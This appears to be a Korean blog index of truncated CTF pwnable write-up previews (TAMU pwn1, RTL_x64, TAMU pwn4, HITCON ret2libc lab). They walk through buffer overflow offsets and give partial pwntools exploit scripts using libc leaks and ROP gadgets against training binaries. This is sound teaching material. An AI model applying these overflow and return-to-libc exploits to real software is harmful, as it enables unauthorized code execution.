System/PWNABLE

    [TAMU 2019] pwn1

    checksec IDA로 pseudo code 확인 name, quest에 정답이 들어가도록 하고 gets(&s)을 이용해서 s에 dummy값을 넣어 overflow 시켜 v5의 값을 0xDEA110C8로 바꿈 ./pwn1 대충 이런식으로 작동 >> name, quest를 위와 같이 입력해야 다음 진행 가능 문자열 s와 v5의 거리 = 0x3B-0x10 >> dummy값으로 채워주기 from pwn import * p=process("./pwn1") p.sendlineafter("What... is your name?","Sir Lancelot of Camelot") p.sendlineafter("What... is your quest?","To seek the Holy Grail.") pl="A"*(0..

    RTL_x64

    checksec IDA로 pseudo code 확인 19-21: printf("inpupt: ", argv); argv = (const char **)&buf; read(0, &buf, 0x60uLL); 주소 구하기 / offset 구하기 pop rdi; ret : 0x400a13 Exploit from pwn import * context.log_level="debug" p=process("./RTL_x64") elf=ELF("./RTL_x64") p.sendlineafter("> ", "2") p.recvuntil("printf() addr: ") printf=int(p.recvuntil('\n'),16) log.info(hex(printf)) sysAdd=printf - 66672 binsh=pri..

    [TAMU 2018] pwn4

    checksec IDA로 바이너리 분석 ls(), cal(), pwd(), whoami() disassemble main+37: reduced_shell 함수 호출 주소 구하기/offset 구하기 Exploit 입력받는 문자열 s의 크기: 1C = 28 byte >> 28 + SFP(4) = 32byte system 주소를 elf.plt['system']으로 구함

    [HITCON] Training lab4 ret2libc

    checksec ret2lib은 32bit 바이너리 파일, Partial RELRO 적용 NX enabled >> RTL 기법 사용 analyze pseudo code (IDA) See_something(v8); // v8 = strtol(&buf, v3, v4); Print_message(&src); // read(0, &src, 0x100u); >> 문자열 src에 256byte(100)만큼 입력받음 인자로 전달받은 변수(*a1)의 주소를 출력 >> 원하는 변수의 주소를 알고 싶을 때 인자로 변수를 전달해 그 주소를 알아낼 수 있음 인자로 전달받은 src를 dest에 복사 >> 256byte만큼 입력받은 src를 dest에 복사 이 때, dest의 크기는 38= 56byte로 OVERFLOW 취약점 ..